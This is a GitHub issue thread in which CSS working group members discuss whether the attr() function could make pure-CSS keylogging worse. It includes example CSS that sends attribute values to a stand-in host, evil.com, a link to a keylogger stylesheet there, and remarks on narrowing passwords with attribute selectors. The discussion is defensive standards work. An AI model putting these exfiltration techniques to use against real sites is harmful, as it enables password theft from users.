You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
Repository navigation
[css-values] Keylogging concerns for attr() value #2339
See https://github.com/maxchehab/CSS-Keylogging for an interesting poc how using pure CSS to do keylogging. I suspect attr() value would have way larger potential to enable a more powerful CSS keylogger.
Hmmm... value of attribute shouldn't be affected by input at all. This seems invalid, and I cannot reproduce keylogging with the proposed method from the poc.
So that POC relies on component frameworks like React, which seems to put the value inputted by user back to the value attribute, which caused the keylogging issue. In that case, attr() may still enable a more powerful keylogger, but I'm not sure how much do we as the working group care about this concern.
@upsuper attr() can't be used for anything nefarious today, but if we add a string-concat function, it lets you trivially exfiltrate any attribute value from an element with something like background: url(concat("https://evil.com/?value=", attr(value)));.
But then again, we already know that allowing people to run arbitrary CSS on your site is an XSS vector. It takes a little more effort than just running arbitrary script, but there have been several reasonable POCs written over the years.
The linked article describes using attribute selectors for this purpose, which does work today but requires an exponential explosion of selectors to get something useful. Weak password exfiltration might be reasonable, particularly since using a combination of ^= and $= lets you cut the exponent in half, and using *= gives you the set of characters used.
Hmmm, if you can insert a sheet on a host you controlled, e.g. inserting <link rel="stylesheet" href="https://evil.com/keylogger.css">, then you can get calls purely via background: url(attr(value)) in it. But that's probably harder in most cases, but who knows?
But then again, we already know that allowing people to run arbitrary CSS on your site is an XSS vector. It takes a little more effort than just running arbitrary script, but there have been several reasonable POCs written over the years.
It's a bit surprising to me. I didn't think CSS could be used for XSS... Have we put anything about this in CSS spec somehow?
Weak password exfiltration might be reasonable, particularly since using a combination of ^= and $= lets you cut the exponent in half, and using *= gives you the set of characters used.
It's more than that, really. If you type the password, $= would almost record the whole password string as you type. It has pitfalls, e.g. it cannot record repeated characters, and it wouldn't work if you use arrow keys etc. to insert character before. But yeah, it's reasonable enough to shrink the search space significantly.
Hmmm, if you can insert a sheet on a host you controlled,
If you control the host, you can already do whatever you want. I don't think that's an attack scenario we have to worry about. ^_^ Because yeah, the best that url(attr(value)) can do is resolve to some URL relative to the stylesheet, which means it can only be intercepted by the person controlling the server that the stylesheet is hosted on.
It's more than that, really. If you type the password, $= would almost record the whole password string as you type. It has pitfalls, e.g. it cannot record repeated characters, and it wouldn't work if you use arrow keys etc. to insert character before. But yeah, it's reasonable enough to shrink the search space significantly.
Ah, indeed, that's clever. (Tho again, it only works against things like React that spam the value property into the value attribute.)
Activity
upsuper commentedon Feb 21, 2018
Hmmm... value of attribute shouldn't be affected by input at all. This seems invalid, and I cannot reproduce keylogging with the proposed method from the poc.
upsuper commentedon Feb 21, 2018
So that POC relies on component frameworks like React, which seems to put the value inputted by user back to the value attribute, which caused the keylogging issue. In that case,
attr()may still enable a more powerful keylogger, but I'm not sure how much do we as the working group care about this concern.Nadya678 commentedon Feb 21, 2018
The [value] is static but must be specified that ::after and ::before are forbidden for input.
It is good reason why not to use react etc.
Why ::before must be locked for input? ::before will create anonymous div that can load specified font and the width of block can be checked.
tabatkins commentedon Feb 21, 2018
@upsuper attr() can't be used for anything nefarious today, but if we add a string-concat function, it lets you trivially exfiltrate any attribute value from an element with something like
background: url(concat("https://evil.com/?value=", attr(value)));.But then again, we already know that allowing people to run arbitrary CSS on your site is an XSS vector. It takes a little more effort than just running arbitrary script, but there have been several reasonable POCs written over the years.
The linked article describes using attribute selectors for this purpose, which does work today but requires an exponential explosion of selectors to get something useful. Weak password exfiltration might be reasonable, particularly since using a combination of
^=and$=lets you cut the exponent in half, and using*=gives you the set of characters used.upsuper commentedon Feb 22, 2018
Hmmm, if you can insert a sheet on a host you controlled, e.g. inserting
<link rel="stylesheet" href="https://evil.com/keylogger.css">, then you can get calls purely viabackground: url(attr(value))in it. But that's probably harder in most cases, but who knows?It's a bit surprising to me. I didn't think CSS could be used for XSS... Have we put anything about this in CSS spec somehow?
It's more than that, really. If you type the password,
$=would almost record the whole password string as you type. It has pitfalls, e.g. it cannot record repeated characters, and it wouldn't work if you use arrow keys etc. to insert character before. But yeah, it's reasonable enough to shrink the search space significantly.tabatkins commentedon Feb 22, 2018
If you control the host, you can already do whatever you want. I don't think that's an attack scenario we have to worry about. ^_^ Because yeah, the best that
url(attr(value))can do is resolve to some URL relative to the stylesheet, which means it can only be intercepted by the person controlling the server that the stylesheet is hosted on.Ah, indeed, that's clever. (Tho again, it only works against things like React that spam the value property into the value attribute.)
upsuper commentedon Feb 22, 2018
I mean you insert a sheet which is served from a host you controlled. I don't think that's the same as controlling the host which serves the page.
tabatkins commentedon Feb 22, 2018
I think that requires full XSS power to do? (As in, if you can insert arbitrary s, you can already own the page.) Unless @import is around, hmm.
Point stands - CSS is already in many ways as dangerous of an XSS vector as JS. If you're allowing arbitrary CSS you're screwed.
annevk commentedon Feb 22, 2018
w3c/webappsec-csp#45 is somewhat relevant here. Giving sites more fine-grained control over what CSS can be inserted.
Nadya678 commentedon Mar 14, 2018